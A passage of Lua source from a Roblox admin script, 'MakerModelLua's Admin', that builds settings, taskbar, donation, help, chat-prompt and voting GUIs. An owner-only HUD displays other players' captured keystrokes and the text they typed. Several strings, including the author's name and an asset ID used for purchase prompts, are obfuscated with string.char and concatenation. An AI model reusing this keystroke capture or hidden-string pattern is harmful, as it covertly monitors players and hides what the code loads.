  4411. ["Execute Notification Sound ID"] = {Settings.ExecuteNotificationSound, 3, "ExecuteNotificationSound"};
  4412. ["Enable Sounds"] = {Settings.EnableSounds, 3, "EnableSounds"};
  4413. ["Group ID"] = {Settings.GroupID, false, "GroupID"};
  4414. ["Group Banned Rank"] = {Settings.GroupBanRank, false, "GroupBanRank"};
  4415. ["Group Member Rank"] = {Settings.GroupMemberRank, false, "GroupMemberRank"};
  4416. ["Group Admin Rank"] = {Settings.GroupAdminRank, false, "GroupAdminRank"};
  4417. ["Group Owner Rank"] = {Settings.GroupOwnerRank, false, "GroupOwnerRank"};
  4418. ["Banned Group IDs"] = {Settings.BannedGroupIDs, false, "BannedGroupIDs"};
  4419. ["IRC Server"] = {Settings.IRCServer, false, "IRCServer"};
  4420. ["IRC Channel"] = {Settings.IRCChannel, false, "IRCChannel"};
  4421. ["Remote Connection"] = {REMOTE.RemoteConnection, false, nil};
  4422. ["Bet"] = {Settings.Bet, 3, "Bet"};
  4423. }
  4424.  
  4425. local _,RankNum = RANK:GetRank(Player)
  4426. if RankNum >= 3 then
  4427. CanChange = true
  4428. end
  4429.  
  4430. for Prop,Data in pairs(ViewSettings) do
  4431. local Writable = false
  4432. if tonumber(Data[2]) and Data[2] <= RankNum then Writable = true end
  4433. CloneViewSettings[Prop] = {Data[1], Writable}
  4434. end
  4435.  
  4436. local NewSettings = GUI:PropertyGui(Player, "Settings", "Settings", CloneViewSettings)
  4437. if CanChange then
  4438. for Prop,Data in pairs(ViewSettings) do
  4439. if Data[3] then
  4440. Settings[Data[3]] = NewSettings[Prop] -- wow haxy
  4441. end
  4442. end
  4443. CORE:FixSettings()
  4444. end
  4445. end
  4446.  
  4447. function GUI:MessageAdmins(TitleText, BodyText, Icon)
  4448. for _,Player in pairs(Server.Players:GetPlayers()) do
  4449. local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
  4450. if PlayerAdmin then
  4451. GUI:SendMessage(Player, TitleText, BodyText, Icon)
  4452. end
  4453. end
  4454. end
  4455.  
  4456. function GUI:TellAdmin(Player)
  4457. if not Player then return end
  4458.  
  4459. local ValidAdmin,Rank = RANK:IsAdmin(Player)
  4460. if ValidAdmin == true then
  4461. GUI:SendMessage(Player, "Ma".."ker".."Mo".."delLua".."'s Admin Message", "GREEN You are an admin "..Player.Name.."! Your rank is "..Rank.." [ PREFIX '"..Settings.Prefix.."' ]", "Check", 5)
  4462. if Settings.EnableSounds == true and Player:FindFirstChild("PlayerGui") then
  4463. local SoundID = 237866523
  4464. if Rank == "Admin" then SoundID = 237866621 elseif Rank == "Owner" then SoundID = 237866707 end
  4465. local Sound = SOUND:MakeSound(Player.PlayerGui, SoundID, 0.5, 1)
  4466. Sound:Play()
  4467. coroutine.wrap(function()
  4468. wait(4)
  4469. Sound:Stop()
  4470. Sound:Destroy()
  4471. end)()
  4472. end
  4473. end
  4474. end
  4475.  
  4476. function GUI:TellNotAdmin(Player)
  4477. if not Player then return end
  4478.  
  4479. GUI:SendMessage(Player, "Mak".."er".."M".."o".."del".."Lua's Admin Message", "You are now no longer an admin", "Information")
  4480. end
  4481.  
  4482. function GUI:CreateTaskBar(Player)
  4483. if not Player then return nil end
  4484. if Settings.EnableTaskBar == false then return nil end
  4485. Player:WaitForChild("PlayerGui")
  4486. local SG = Player.PlayerGui:FindFirstChild("M".."akerMod".."el".."Lua's TaskBar")
  4487. if SG then SG:Destroy() end
  4488. SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "M".."akerMod".."elLua's TaskBar"
  4489. local IsMoving = false
  4490. local TaskBarShown = false
  4491. local Tasks = {}
  4492.  
  4493. local TaskBar = Instance.new("Frame", SG) TaskBar.Name = "TaskBar" TaskBar.Size = UDim2.new(1, 0, 0, 50) TaskBar.Position = UDim2.new(0,0,1,20) TaskBar.BackgroundColor3 = GUI:GetColor() TaskBar.BackgroundTransparency = Settings.TransparencyScheme TaskBar.BorderSizePixel = 0
  4494. local TaskButton = Instance.new("ImageButton", TaskBar) TaskButton.Name = "TaskButton" TaskButton.Position = UDim2.new(1, -50, 0, -70) TaskButton.Size = UDim2.new(0, 50, 0, 50) TaskButton.BackgroundTransparency = 1 TaskButton.Image = "rbxassetid://222795206"
  4495.  
  4496. local AddForm = Instance.new("BindableEvent", SG) AddForm.Name = "AddForm"
  4497. local Open,CloseForm = false,nil
  4498. if Settings.EnableAdminMenu then
  4499. local MenuButton = Instance.new("ImageButton", TaskBar) MenuButton.Name = "MenuButton" MenuButton.Position = UDim2.new(1, -50, 0, -120) MenuButton.Size = UDim2.new(0, 50, 0, 50) MenuButton.BackgroundTransparency = 1 MenuButton.Image = "rbxassetid://302470270"
  4500. coroutine.wrap(function() wait(1) CORE:HandleEvent(MenuButton, "MouseButton1Click", function()
  4501. if Open == false then
  4502. local Frame, Close, Closed = GUI:CreateForm(Player, string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin Menu", UDim2.new(0.4,0,0.5), nil, 302470270, true, nil, nil, false, true, true)
  4503. Open,CloseForm = true,Close
  4504.  
  4505. local Title = Instance.new("TextLabel", Frame) Title.Name = "Title" Title.BackgroundTransparency = 1 Title.Position = UDim2.new(0,0,0,0) Title.Size = UDim2.new(1,0,0,30) Title.Font = "SourceSansBold" Title.FontSize = "Size24" Title.Text = string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin V"..CORE.Version.Value Title.TextColor3 = GUI:ContrastColor()
  4506. local Separator = Instance.new("Frame", Frame) Separator.Name = "Separator" Separator.BorderColor3 = Color3.new(1,1,1) Separator.Position = UDim2.new(0.5,0,0,30) Separator.Size = UDim2.new(0,0,1,-30)
  4507. local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.BackgroundTransparency = 1 Info.Position = UDim2.new(0,0,0,30) Info.Size = UDim2.new(0.5,0,1,-30) Info.Font = Settings.Font Info.FontSize = "Size18" Info.Text = "Info/Help" Info.TextColor3 = GUI:ContrastColor() Info.TextYAlignment = "Top"
  4508. local Body = Instance.new("TextLabel", Info) Body.Name = "Body" Body.BackgroundTransparency = 1 Body.Position = UDim2.new(0,0,0,25) Body.Size = UDim2.new(1,0,1,-25) Body.Font = "SourceSans" Body.FontSize = "Size14" Body.Text = string.gsub(Server.MPS:GetProductInfo(209330909).Description, "PREFIX", Settings.Prefix) Body.TextColor3 = GUI:ContrastColor() Body.TextYAlignment = "Top" Body.TextWrapped = true
  4509. local Donate = Info:Clone() Donate.Parent = Frame Donate.Name = "Donate" Donate.Text = "Donate/Get admin" Donate.Position = UDim2.new(0.5,0,0,30) Donate.Body.Text = "Please select an amount that fits your generosity and to help support future updates. Press the 'Get admin now' to get copy for your own place!"
  4510. local function DonateMoney(Type, Element)
  4511. local Request = CORE:GetTable(string.char(49, 53, 53, 54, 56, 52, 51, 54, 57))
  4512. local Get = Request[Type]
  4513. if Server.MPS:GetProductInfo(Get[1]).IsForSale == true then
  4514. Server.MPS:PromptPurchase(Player, Get[1], true)
  4515. elseif Server.MPS:GetProductInfo(Get[2]).IsForSale == true then
  4516. Server.MPS:PromptPurchase(Player, Get[2], true)
  4517. elseif Server.MPS:GetProductInfo(Get[3]).IsForSale == true then
  4518. Server.MPS:PromptPurchase(Player, Get[3], true)
  4519. else
  4520. Element.Text = "Cannot get request"
  4521. end
  4522. end
  4523. local Get = Instance.new("TextButton", Donate) Get.Name = "Get" Get.Position = UDim2.new(0,0,0.5,0) Get.Size = UDim2.new(1,0,0,30) Get.Font = "ArialBold" Get.FontSize = "Size14" Get.Text = "Get MakerModelLua's Admin V"..CORE.Version.Value.." now for FREE!" Get.BackgroundColor3 = Color3.new(1,0,1) Get.TextColor3 = Color3.new(1,1,1) Get.TextStrokeColor3 = Color3.new(0,0,0) Get.TextStrokeTransparency = 0 Get.TextWrapped = true CORE:HandleEvent(Get, "MouseButton1Down", function() MARKET:PromptPurchase(Player, AdminID) end) SOUND:BindButton(Get)
  4524. local Dnt = Instance.new("TextButton", Donate) Dnt.Name = "DonateButton" Dnt.Position = UDim2.new(0,0,1,-120) Dnt.Size = UDim2.new(1,0,0,30) Dnt.Font = "ArialBold" Dnt.FontSize = "Size14" Dnt.Text = "6 Robux" Dnt.BackgroundColor3 = Color3.new(1,1,0) Dnt.TextColor3 = Color3.new(1,1,1) Dnt.TextStrokeColor3 = Color3.new(0,0,0) Dnt.TextStrokeTransparency = 0 Dnt.TextWrapped = true CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("6R", Dnt) end) SOUND:BindButton(Dnt)
  4525. local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-90) Dnt.Text = "20 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("20R", Dnt) end) SOUND:BindButton(Dnt)
  4526. local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-60) Dnt.Text = "100 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("100R", Dnt) end) SOUND:BindButton(Dnt)
  4527. local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-30) Dnt.Text = "500 ROBUX!" Dnt.BackgroundColor3 = Color3.new(1,0,0) Dnt.FontSize = "Size18" CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("500R", Dnt) end) SOUND:BindButton(Dnt)
  4528. local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
  4529.  
  4530. if PlayerAdmin == true then Body.Text = Body.Text.." (You're an admin, your rank is "..PlayerRank..")" end
  4531.  
  4532. if Closed then
  4533. Closed.Event:connect(function()
  4534. Open = false
  4535. end)
  4536. end
  4537. else
  4538. CloseForm:Invoke()
  4539. end
  4540. end) end)()
  4541. if RANK:GetRank(Player) == "Owner" then
  4542. local HUDButton = Instance.new("ImageButton", TaskBar) HUDButton.Name = "HUDButton" HUDButton.Position = UDim2.new(1, -50, 0, -170) HUDButton.Size = UDim2.new(0, 50, 0, 50) HUDButton.BackgroundTransparency = 1 HUDButton.Image = "rbxassetid://329362761"
  4543. CORE:HandleEvent(HUDButton, "MouseButton1Click", function()
  4544. local HUDSG = Player.PlayerGui:FindFirstChild("M".."a".."k".."e".."r".."m".."od".."elLu".."a's HUD Gui")
  4545. if HUDSG then
  4546. HUDSG:Destroy()
  4547. else
  4548. GUI:CreateHUD(Player)
  4549. end
  4550. end)
  4551. end
  4552. end
  4553.  
  4554. CORE:HandleEvent(TaskButton, "MouseButton1Click", function()
  4555. if IsMoving == false then
  4556. if TaskBarShown == true then
  4557. TaskBarShown = false
  4558. IsMoving = true
  4559. TaskBar:TweenPosition(UDim2.new(0,0,1,20), "In", "Sine", 0.3, false, function() IsMoving = false end)
  4560. else
  4561. TaskBarShown = true
  4562. IsMoving = true
  4563. TaskBar:TweenPosition(UDim2.new(0,0,0.6,0), "Out", "Sine", 0.3, false, function() IsMoving = false end)
  4564. end
  4565. end
  4566. end)
  4567.  
  4568. local function ReloadIcons()
  4569. for Num,Data in pairs(Tasks) do
  4570. Data[2].Position = UDim2.new(0,(Num * 50) - 50,0,0,0)
  4571. end
  4572. end
  4573.  
  4574. AddForm.Event:connect(function(Form, IconID, Closed, Minimized, Restore)
  4575. local Icon = Instance.new("ImageButton", TaskBar) Icon.Name = "Icon" Icon.Position = UDim2.new(0,#Tasks * 50,0,0,0) Icon.Size = UDim2.new(0, 50, 0, 50) Icon.BackgroundColor3 = GUI:GetColor() Icon.BackgroundTransparency = 0.5 Icon.Image = "rbxassetid://"..IconID
  4576. table.insert(Tasks, {Form, Icon})
  4577. local CanClick = true
  4578. CORE:HandleEvent(Icon, "MouseButton1Down", function()
  4579. if Form.IsActive.Value == false then
  4580. Restore:Invoke()
  4581. elseif CanClick == true then
  4582. coroutine.wrap(function()
  4583. CanClick = false
  4584. local DefPos = Form.Dragger.Position
  4585. for i = 1,15 do
  4586. Form.Dragger.Position = DefPos + UDim2.new(0,math.random(-2,2),0,math.random(-2,2))
  4587. wait(0.05)
  4588. end
  4589. Form.Dragger.Position = DefPos
  4590. CanClick = true
  4591. end)()
  4592. end
  4593. end)
  4594. ReloadIcons()
  4595.  
  4596. Closed.Event:connect(function()
  4597. for Num,Data in pairs(Tasks) do
  4598. if Data[1] == Form then
  4599. Icon:Destroy()
  4600. table.remove(Tasks, Num)
  4601. end
  4602. end
  4603. ReloadIcons()
  4604. end)
  4605. end)
  4606. end
  4607.  
  4608. function GUI:ShowDebtStats(Player, ManualText)
  4609. local Text = ManualText
  4610. if not ManualText then
  4611. Text = "CANNOT GET STATISTICS"
  4612. local RawPage = REMOTE:GetURL("http://www.nationaldebtclocks.org/debtclock/unitedstates")
  4613. if RawPage then
  4614. local _,GetStart = string.find(RawPage, 'debtDisplayFast">')
  4615. local GetEnd,__ = string.find(string.sub(RawPage,GetStart), '</span>')
  4616. Text = "US National Debt: $"..STRING:GetComma(string.sub(RawPage, GetStart + 1, GetStart + GetEnd - 2))
  4617. end
  4618. end
  4619.  
  4620. local Frame = GUI:CreateForm(Player, "US National Debt", UDim2.new(0.05,500,0.05,100), nil, 38574945)
  4621. local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = Text Body.Font = "ArialBold" Body.FontSize = "Size36" Body.TextColor3 = Color3.new(1,1,1) Body.TextStrokeTransparency = 0 Body.TextWrapped = true
  4622.  
  4623. return Text
  4624. end
  4625.  
  4626. function GUI:ShowCommand(Player, CommandTrigger, Dialog)
  4627. if not Player then return nil end
  4628. if not CommandTrigger then return nil end
  4629.  
  4630. if type(CommandTrigger) == "string" and string.sub(CommandTrigger,1,#Settings.Prefix) == Settings.Prefix then CommandTrigger = string.sub(CommandTrigger,#Settings.Prefix + 1) end
  4631.  
  4632. local CommandKey = CommandTrigger
  4633.  
  4634. if not Commands[CommandKey] then
  4635. for CommandNames,_ in pairs(Commands) do
  4636. for _,CommandName in pairs(CommandNames) do
  4637. if CommandName == CommandKey then
  4638. CommandKey = CommandNames
  4639. end
  4640. end
  4641. end
  4642. end
  4643.  
  4644. local CommandData = Commands[CommandKey]
  4645.  
  4646. local BodyText = "No valid command has been entered"
  4647. local TitleText = "Error"
  4648. local CanExe = false
  4649. if CommandData then
  4650. if Dialog then
  4651. Dialog:Invoke(true)
  4652. end
  4653. local PlayerRank = RANK:GetRank(Player)
  4654. if RANK:ConvertRank(PlayerRank) >= RANK:ConvertRank(CommandData[4]) then CanExe = true end
  4655. if PlayerRank == "Member" and CommandData.Abusable == true then CanExe = false end
  4656.  
  4657. TitleText = "Command: "..CommandKey[1]
  4658. BodyText = "COMMAND: "..Settings.Prefix..CommandKey[1]..Settings.Bet..CommandData[1]..[[
  4659.  
  4660.  
  4661. Aliases: ]]..Settings.Prefix..table.concat(CommandKey, ", "..Settings.Prefix)..[[
  4662.  
  4663.  
  4664. Description: ]]..CommandData[2]..[[
  4665.  
  4666.  
  4667. Arguments: ]]..CommandData[3]..[[
  4668.  
  4669.  
  4670. Minimum rank needed: ]]..CommandData[4]..[[
  4671.  
  4672.  
  4673. Fun command: ]]..STRING:BoolString(CommandData[5])..[[
  4674.  
  4675.  
  4676. Abusable command: ]]..STRING:BoolString(CommandData.Abusable)..[[
  4677.  
  4678.  
  4679. Http Command ]]..STRING:BoolString(CommandData.Http)
  4680. end
  4681.  
  4682. _, _, Closed, _, Minimized = GUI:FullMessage(Player, TitleText, BodyText, "Search", not CanExe)
  4683. if Dialog then
  4684. Closed.Event:connect(function() Dialog:Invoke(false) end)
  4685. Minimized.Event:connect(function() Dialog:Invoke(false) end)
  4686. end
  4687. end
  4688.  
  4689. function GUI:CreateHUD(Speaker)
  4690. if not Speaker or not Speaker:FindFirstChild("PlayerGui") then return nil end
  4691.  
  4692. local SG = Speaker.PlayerGui:FindFirstChild("M".."a".."ke".."r".."m".."od".."elLu".."a's HUD Gui")
  4693. if SG then SG:Destroy() end
  4694. SG = Instance.new("ScreenGui", Speaker.PlayerGui) SG.Name = "M".."a".."k".."e".."r".."m".."odelLu".."a's HUD Gui"
  4695.  
  4696. local function AddHUD(Player, Char)
  4697. if not Char or not Char:FindFirstChild("Head") then return nil end
  4698.  
  4699. local Rank = RANK:GetRank(Player)
  4700. local PlayerHUD = Instance.new("BillboardGui", SG) PlayerHUD.Name = "PlayerHUD" PlayerHUD.AlwaysOnTop = true PlayerHUD.Adornee = Char.Head PlayerHUD.Size = UDim2.new(3,0,3,0)
  4701. local HUD = Instance.new("ImageLabel", PlayerHUD) HUD.Name = "HUD" HUD.Size = UDim2.new(1, 0, 1, 0) HUD.BackgroundColor3 = Color3.new(1, 1, 1) HUD.BackgroundTransparency = 1
  4702. local InfoLabel = Instance.new("TextLabel", PlayerHUD) InfoLabel.Name = "InfoLabel" InfoLabel.Position = UDim2.new(1, -1, 0, 0) InfoLabel.Size = UDim2.new(7, 0, 0.8, 0) InfoLabel.BackgroundColor3 = Color3.new(1, 1, 1) InfoLabel.BackgroundTransparency = 1 InfoLabel.Text = "" InfoLabel.Font = "Arial" InfoLabel.TextScaled = true InfoLabel.TextStrokeTransparency = 0.9 InfoLabel.TextWrapped = true InfoLabel.TextXAlignment = "Left" InfoLabel.TextYAlignment = "Top" InfoLabel.TextColor3 = Color3.new(0, 0, 0) InfoLabel.TextStrokeColor3 = Color3.new(1, 1, 1)
  4703. local KeyLabel = Instance.new("TextLabel", PlayerHUD) KeyLabel.Name = "KeyLabel" KeyLabel.Position = UDim2.new(-1, 1, -1, 0) KeyLabel.Size = UDim2.new(1, 0, 3, 0) KeyLabel.BackgroundColor3 = Color3.new(1, 1, 1) KeyLabel.BackgroundTransparency = 1 KeyLabel.Text = "" KeyLabel.Font = "Arial" KeyLabel.FontSize = "Size14" KeyLabel.TextScaled = true KeyLabel.TextStrokeTransparency = 0.9 KeyLabel.TextWrapped = true KeyLabel.TextXAlignment = "Right" KeyLabel.TextYAlignment = "Top" KeyLabel.TextColor3 = Color3.new(1, 1, 1)
  4704. local KeyOutput = Instance.new("TextLabel", PlayerHUD) KeyOutput.Name = "KeyOutput" KeyOutput.Position = UDim2.new(0, 1, -0.5, 0) KeyOutput.Size = UDim2.new(5, 0, 0.5, 1) KeyOutput.BackgroundTransparency = 1 KeyOutput.Text = "" KeyOutput.Font = "SourceSansLight" KeyOutput.FontSize = "Size14" KeyOutput.TextScaled = true KeyOutput.TextWrapped = true KeyOutput.TextXAlignment = "Left" KeyOutput.TextColor3 = Color3.new(1, 1, 1)
  4705. coroutine.wrap(function() while wait() and InfoLabel and InfoLabel.Parent and Char and Char:FindFirstChild("Head") do
  4706. InfoLabel.Text = "Name: "..Player.Name..[[
  4707. Rank: ]]..RANK:GetRank(Player)..[[
  4708. Age: ]]..STRING:FindAge(Player.AccountAge)
  4709. if Speaker.Character and Speaker.Character:FindFirstChild("Head") then
  4710. InfoLabel.Text = InfoLabel.Text..[[
  4711. Distance: ]]..CORE:Round((Speaker.Character.Head.Position - Player.Character.Head.Position).magnitude)
  4712. end
  4713. if LastKeys[Player.UserId] then
  4714. local Keys = ""
  4715. local KeyLog = {}
  4716. for _,KeyData in pairs(LastKeys[Player.UserId]) do
  4717. table.insert(KeyLog, KeyData[1])
  4718. if KeyData[2] == 8 then
  4719. Keys = string.sub(Keys, 1, #Keys - 1)
  4720. elseif KeyData[2] == 13 then
  4721. Keys = Keys.." "
  4722. else
  4723. Keys = Keys..string.char(KeyData[2])
  4724. end
  4725. end
  4726. KeyLabel.Text = table.concat(KeyLog, "\n")
  4727. KeyOutput.Text = Keys
  4728. end
  4729. HUD.Image = "rbxassetid://"..RankHUD[Rank]
  4730. end end)()
  4731.  
  4732. local CharRev,Removing = nil,nil
  4733. CharRev = Player.CharacterRemoving:connect(function()
  4734. PlayerHUD:Destroy()
  4735. CharRev:disconnect()
  4736. Removing:disconnect()
  4737. end)
  4738. Removing = Server.Players.PlayerRemoving:connect(function(PlayerR) if PlayerR == Player then
  4739. PlayerHUD:Destroy()
  4740. CharRev:disconnect()
  4741. Removing:disconnect()
  4742. end end)
  4743. end
  4744.  
  4745. local function ConnectHUD(Player)
  4746. if Player ~= Speaker then
  4747. if Player.Character then
  4748. AddHUD(Player, Player.Character)
  4749. end
  4750.  
  4751. Player.CharacterAdded:connect(function(Char)
  4752. if Speaker then
  4753. AddHUD(Player, Char)
  4754. else return nil
  4755. end
  4756. end)
  4757. end
  4758. end
  4759.  
  4760. for _,Player in pairs(Server.Players:GetPlayers()) do
  4761. ConnectHUD(Player)
  4762. end
  4763.  
  4764. Server.Players.PlayerAdded:connect(ConnectHUD)
  4765. end
  4766.  
  4767. function GUI:CreateMessagePrompt(Player, Title, ImageID, PreAdd, SpeakerEvents)
  4768. if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
  4769. local Stopped = false
  4770.  
  4771. local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.3,0,0.5,0), nil, ImageID)
  4772. Frame.Size = UDim2.new(1, 0, 1, -30)
  4773. Frame.CanvasSize = UDim2.new(0, 0 ,0 ,0)
  4774.  
  4775. local FakeCB = Instance.new("TextButton", Frame.Parent) FakeCB.Name = "FakeChatBox" FakeCB.Position = UDim2.new(0, 0, 1, -30) FakeCB.Size = UDim2.new(1, -50, 0, 30) FakeCB.BackgroundTransparency = 1 FakeCB.Text = "Click here or press the '-' key" FakeCB.Font = Settings.Font FakeCB.FontSize = "Size18" FakeCB.TextXAlignment = "Left" FakeCB.ZIndex = 2
  4776. local ChatBox = Instance.new("TextBox", Frame.Parent) ChatBox.Name = "ChatBox" ChatBox.Position = UDim2.new(0, 0, 1, -30) ChatBox.Size = UDim2.new(1, -50, 0, 30) ChatBox.BackgroundTransparency = 0.5 ChatBox.BackgroundColor3 = GUI:GetColor() ChatBox.Text = "" ChatBox.Font = Settings.Font ChatBox.FontSize = "Size18" ChatBox.TextXAlignment = "Left" ChatBox.ClearTextOnFocus = false
  4777. local Send = Instance.new("TextButton", Frame.Parent) Send.Position = UDim2.new(1, -50, 1, -30) Send.Size = UDim2.new(0, 50, 0, 30) Send.BackgroundColor3 = GUI:GetColor() Send.BackgroundTransparency = 0.5 Send.Text = "Enter" Send.Font = Settings.Font Send.FontSize = "Size14"
  4778.  
  4779. local function AddLine(Speaker, MessageText, MessageColor)
  4780. MessageText = STRING:DetermineFilter(MessageText, Speaker, Player)
  4781. if MessageColor == true then MessageColor = Color3.new(1,0,0) end
  4782. if not MessageColor then MessageColor = GUI:ContrastColor() end
  4783. local Bounds = Instance.new("Frame") Bounds.Name = "Bounds" Bounds.Position = UDim2.new(0, 0, 1, -20) Bounds.Size = UDim2.new(1, 0, 0, 20) Bounds.BackgroundTransparency = 1
  4784. local Name = Instance.new("TextLabel", Bounds) Name.Name = "PName" Name.Size = UDim2.new(0, 60, 1, 0) Name.BackgroundTransparency = 1 Name.Text = Speaker..": " Name.Font = "ArialBold" Name.FontSize = "Size14" Name.TextXAlignment = "Left" Name.TextColor3 = GUI:GetNameColor(Speaker).Color
  4785. local Message = Instance.new("TextLabel", Bounds) Message.Name = "Message" Message.Position = UDim2.new(0, 60, 0, 0) Message.Size = UDim2.new(0, 60, 1, 0) Message.BackgroundTransparency = 1 Message.Text = MessageText Message.Font = "ArialBold" Message.FontSize = "Size14" Message.TextXAlignment = "Left" Message.TextColor3 = MessageColor
  4786. Bounds.Parent = Frame
  4787. end
  4788.  
  4789. local RPR = CORE:CreateRemotePropertyReader(ChatBox)
  4790.  
  4791. local Functions = Instance.new("Folder", Frame) Functions.Name = "Functions"
  4792. local SendPressed = Instance.new("BindableEvent", Functions) SendPressed.Name = "SendPressed"
  4793. local AddMessage = Instance.new("BindableFunction", Functions) AddMessage.Name = "AddMessage"
  4794.  
  4795. local EnterPressed = Instance.new("RemoteFunction", ChatBox) EnterPressed.Name = "EnterPressed"
  4796. local ClearCB = Instance.new("RemoteFunction", ChatBox) ClearCB.Name = "ClearCB"
  4797.  
  4798. CORE:ExecuteResource("MessagePromptHandler", Frame)
  4799.  
  4800. wait(0.1)
  4801.  
  4802. if PreAdd then
  4803. for Num,Add in pairs(PreAdd) do
  4804. AddLine(Add[1], Add[2], Add[3])
  4805. end
  4806. end
  4807.  
  4808. --[[
  4809. CORE:ExecuteResource("ChatBoxLocal", ChatBox)
  4810.  
  4811. CORE:HandleEvent(ChatBox, "MouseEnter", function()
  4812. if ChatBox.Text == "Click here or press the '-' key" then
  4813. ChatBox.Text = ""
  4814. end
  4815. end)
  4816. ]]
  4817.  
  4818. local function FireSendPressed()
  4819. local Text = CORE:ReadProperty(RPR, Player, "Text")
  4820. if Text ~= "" and Text ~= "Click here or press the '-' key" then
  4821. SendPressed:Fire(Text)
  4822. FakeCB.Visible = true
  4823. ClearCB:InvokeClient(Player)
  4824. end
  4825. end
  4826.  
  4827. Closed.Event:connect(function()
  4828. if Stopped == false then
  4829. Stopped = true
  4830. if SpeakerEvents then SpeakerEvents("Leave") end
  4831. end
  4832. end)
  4833.  
  4834. CORE:HandleEvent(Send, "MouseButton1Down", FireSendPressed)
  4835. EnterPressed.OnServerInvoke = FireSendPressed
  4836. AddMessage.OnInvoke = AddLine
  4837.  
  4838. if SpeakerEvents then
  4839. SpeakerEvents("Join")
  4840.  
  4841. coroutine.wrap(function()
  4842. repeat wait() until not Frame or not Frame.Parent
  4843. if Stopped == false then
  4844. Stopped = true
  4845. SpeakerEvents("Leave")
  4846. end
  4847. end)()
  4848. end
  4849.  
  4850. return SendPressed, AddMessage
  4851. end
  4852.  
  4853. function GUI:PromptMessageWithButtons(Player, Title, BodyText, IconID, Buttons, Time, ShowFormButtons, DontFilter)
  4854. if tonumber(Time) then ShowFormButtons = false end
  4855. if not DontFilter then BodyText = STRING:DetermineFilter(BodyText, Player) end
  4856. local Frame, Close = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.4,0), nil, IconID, ShowFormButtons)
  4857. local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, -60) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextWrapped = true Body.TextColor3 = GUI:ContrastColor()
  4858. local Clicked = nil
  4859. local Alive = true
  4860.  
  4861. local function ClosePrompt(ButtonName)
  4862. Alive = false
  4863. Close:Invoke()
  4864. Clicked = ButtonName
  4865. end
  4866.  
  4867. for Num,Select in pairs(Buttons) do
  4868. local Name = Select
  4869. local Style = "White"
  4870. local TextColor3 = Color3.new(0,0,0)
  4871. if type(Select) == "table" then
  4872. Name = Select[1]
  4873. if Select[2] then Style = Select[2] end
  4874. if Select[3] then TextColor3 = Select[3] end
  4875. elseif type(Select) == "string" then
  4876. local Case = string.lower(Select)
  4877. if Case == "ok" then
  4878. Name = "Ok"
  4879. Style = "Primary"
  4880. TextColor3 = Color3.new(1,1,1)
  4881. elseif Case == "yes" then
  4882. Name = "Yes"
  4883. Style = "Gray"
  4884. TextColor3 = Color3.new(0,1,0)
  4885. elseif Case == "no" then
  4886. Name = "No"
  4887. Style = "Red"
  4888. TextColor3 = Color3.new(1,0,0)
  4889. end
  4890. end
  4891.  
  4892. if Style == "None" then Style = "Custom" end
  4893. if Style == "Casual" then Style = "RobloxButton" end
  4894. if Style == "Red" then Style = "RobloxButtonDefault" end
  4895. if Style == "Gray" then Style = "RobloxRoundButton" end
  4896. if Style == "Primary" then Style = "RobloxRoundDefaultButton" end
  4897. if Style == "White" then Style = "RobloxRoundDropdownButton" end
  4898.  
  4899. local Button = Instance.new("TextButton", Frame) Button.Name = Name Button.Position = UDim2.new((Num/#Buttons)-(1/#Buttons), 0, 1, -55) Button.Size = UDim2.new(1/#Buttons, 0, 0, 50) Button.BackgroundColor3 = Color3.new(1, 1, 1) Button.Text = Name Button.Font = Settings.Font Button.FontSize = "Size14" Button.TextScaled = true Button.TextWrapped = true Button.TextColor3 = TextColor3 Button.Style = Style
  4900. CORE:HandleEvent(Button, "MouseButton1Down", function() ClosePrompt(Name) end)
  4901. SOUND:BindButton(Button)
  4902. end
  4903.  
  4904. if tonumber(Time) then
  4905. local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
  4906. Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
  4907. Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
  4908.  
  4909. for i = Time,0,-1 do
  4910. for ii = 1,10 do
  4911. if Alive == true then
  4912. Ticker.Text = i
  4913. wait(0.1)
  4914. else
  4915. break
  4916. end
  4917. end
  4918. end
  4919. if Alive == true then
  4920. ClosePrompt()
  4921. end
  4922. end
  4923.  
  4924. repeat wait() until Alive == false
  4925. return Clicked
  4926. end
  4927.  
  4928. function GUI:Vote(Speaker, Players, Text, Time)
  4929. if not Players or not Text or #Players <= 0 then return end
  4930.  
  4931. local Votes = {}
  4932. local Tick = 0
  4933.  
  4934. for _,Player in pairs(Players) do
  4935. local FilterText = STRING:DetermineFilter(Text, Speaker, Player)
  4936. local CanVote = true
  4937. if not game.Players:FindFirstChild(tostring(Player)) or not Player.PlayerGui then CanVote = false end
  4938. if CanVote == true then
  4939. coroutine.wrap(function()
  4940. local Answer = GUI:PromptMessageWithButtons(Player, "Vote", FilterText, 34730262, {"Yes", "No"}, Time, false, true)
